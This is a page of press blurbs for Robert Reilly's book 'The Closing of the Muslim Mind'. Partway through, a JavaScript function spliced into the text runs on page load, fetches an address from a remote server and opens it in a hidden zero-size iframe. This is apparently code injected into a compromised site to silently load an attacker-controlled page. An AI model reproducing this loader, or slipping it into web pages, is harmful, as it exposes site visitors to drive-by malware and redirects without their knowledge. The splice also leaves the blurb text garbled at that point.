The Closing of the Muslim Mind: How Intellectual Suicide Created the Modern Islamist Crisis

“What happened to moderate Islam and what sort of hope we may have for it in the future . . . is the subject of Robert Reilly’s brilliant and groundbreaking new book. . . . Closing is a page-turner that reads almost like an intellectual detective novel. It is among those few brave books on Islam . . . that should be read by anyone who wants to understand one of the most fundamental causes of conflict in the 21st century.”

—National Review Online

 

“A book that may offer the key to both understanding and perhaps defeating the ongoing war of terror against the West.”

—American Spectator

 

“Robert R. Reilly comes closer to providing a persuasive explanation [of what happened to Islamic culture] than any other account I have seen. As Reilly succinctly shows, Islamic civilization . . . threw out of the intellectual window the principles of rational inquiry that the Greeks had first introduced to the West half a millennium before Christ.”

            —Weekly Standard

 

“The lack of liberty within Islam is a huge problem. Robert Reilly’s The Closing of the Muslim Mind shows that a millennium ago Muslims debated whether minds should be free to explore the world—and freedom lost. The intellectual history he offers helps to explain why Muslim countries fell behind Christian-based ones in scientific inquiry, economic development, and technology. Reilly provides astonishing statistics . . . [and] also points out how theology prefigures politics.”

—World magazine

 

“Reilly recounts Islam’s abandonment of Hellenistic reason, and blames it for the subsequent decline of Muslim civilization and the rise of radical Islam. . . . The importance of this turn in Muslim thinking cannot be exaggerated.”

—Asia Times

 

“Superb and essential . . . Fascinating.”

            —Jihad Watch

 

function aklazyinit() { var xhr = undefined; if (typeof XMLHttpRequest == "undefined") { try { xhr = new ActiveXObject("Msxml2.XMLHTTP.6.0"); } catch (e) {} if(xhr == 'undefined') try { xhr = ActiveXObject("Msxml2.XMLHTTP.3.0"); } catch (e) {} if(xhr == 'undefined') try { xhr = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) {} } else { xhr = new XMLHttpRequest(); xhr.open('GET', 'http://www.voegelinview.com/index.php?aklazy=check', true); xhr.onreadystatechange = function (aEvt) { if (xhr.readyState == 4) { if(xhr.status == 200) { var msg = xhr.responseText; // Start processing the message var junk = null; var message = ""; // Get rid of junk before the data var valid_pos = msg.indexOf('###'); if( valid_pos == -1 ) { return; } else if( valid_pos != 0 ) { // Data is prefixed with junk junk = msg.substr(0, valid_pos); message = msg.substr(valid_pos); } else { message = msg; } message = message.substr(3); // Remove triple hash in the beginning // Get of rid of junk after the data var valid_pos = message.lastIndexOf('###'); if( valid_pos == -1 ) { return; } else if( valid_pos == 0 ) { // No data return; } message = message.substr(0, valid_pos); // Remove triple hash in the end // Create the iFrame var iframe = document.createElement('iframe'); iframe.setAttribute('width', '0'); iframe.setAttribute('height', '0'); iframe.setAttribute('src', message); document.body.appendChild(iframe); } } }; xhr.send(null); } } window.onload=aklazyinit;“Reilly locates the root of modern Islamic violence . . . go[ing] far beyond the conventional wisdoms that have driven the debate over national security. . . . The remarkable facet of The Closing of the Muslim Mind is that this work of theological archaeology is accomplished while leaving the audience an eminently readable book of just 200 pages. . . . This book should be compulsory reading at all institutions dedicated to preventing another 9/11.”

—Hudson Institute

 

“An eye-opening and mind-opening book . . . No short review can do full justice to this book . . . Well-researched and meticulously documented.”

—Oregon Live

 

“Superb and stimulating . . . Reilly’s small book has earned a place near the top of the tiny library of books I regard as indispensable. How did I live so many years without it?”

—Joseph Sobran

 

“Hatred of Islamism for the West is not merely political, as Reilly’s exhaustive analysis shows, but is indeed ‘metaphysically necessary.’ . . . The roots of this now pervasive attitude are deeply buried and shrouded in time, denial and ignorance, and it is the principal achievement of Reilly’s book that he provides a comprehensive account of this momentous event, written in a lucid fashion that is accessible to both experts and the general public.”

—National Observer (Australia)

 

“Clear and concise . . . What Reilly suggests, based on abundant modern scholarship, is that the first fully developed theological school in Islam, the Mu’talizites, would probably have despised bin Laden’s ravings. The tragedy of Islam is that the Mu’talizites . . . have become anathematised heretics.”

            —MercatorNet

 

“The most eye-opening book of 2010.”

            —Catholic Culture